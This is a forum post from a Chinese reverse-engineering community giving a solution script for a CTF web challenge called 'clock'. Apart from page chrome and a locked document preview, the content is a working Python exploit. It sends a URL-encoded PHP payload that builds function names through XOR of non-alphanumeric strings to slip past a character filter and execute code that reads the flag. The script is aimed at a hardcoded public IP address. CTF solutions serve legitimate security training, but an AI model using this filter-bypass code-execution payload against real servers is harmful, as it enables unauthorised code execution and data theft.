学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2021-4-6 22:56:35 | 查看: 2781| 回复: 0

相关题目:

♦ clock

web_clock_writeup.docx
>
/ 1
<
<>
预览已结束,请登录阅读全文。

本文共1页,您只能预览前1页,下载后可全文阅读



exp:
import re
import requests


def exp(ip,port):
    poc = '/index.php?code=${%22!%22^%22~%22}=%22[][][@%22^%22($()%3E-%22;${%22(%22^%22)%22}=%22]]]]%22^%22%3E%3C)}%22;${%22{%22^%22}%22}=%22]@:]%22^%22;,[:%22;${%22!%22^%22~%22}(${%22(%22^%22)%22}.%22/%22.${%22{%22^%22}%22});'
    url = r'http://'+str(ip)+':'+str(port)+str(poc)
    headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0'}
    try:
        response = requests.get(url=url,headers=headers,timeout=2)
        if (re.search('flag(.*)', response.text) != None):
            pattern = re.compile('flag(.*)')
            flag_result = re.search(pattern, response.text)
            return("获取flag为:"+ str(flag_result.group(1)))
        else:
            return("未能读取到flag")
    except Exception as ex:
        return(ex)


if __name__ == "__main__":
    ip = '123.57.255.244'
    port = 80
    print(exp(ip,port))


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-5-5 03:25 , Processed in 1.162875 second(s), 45 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表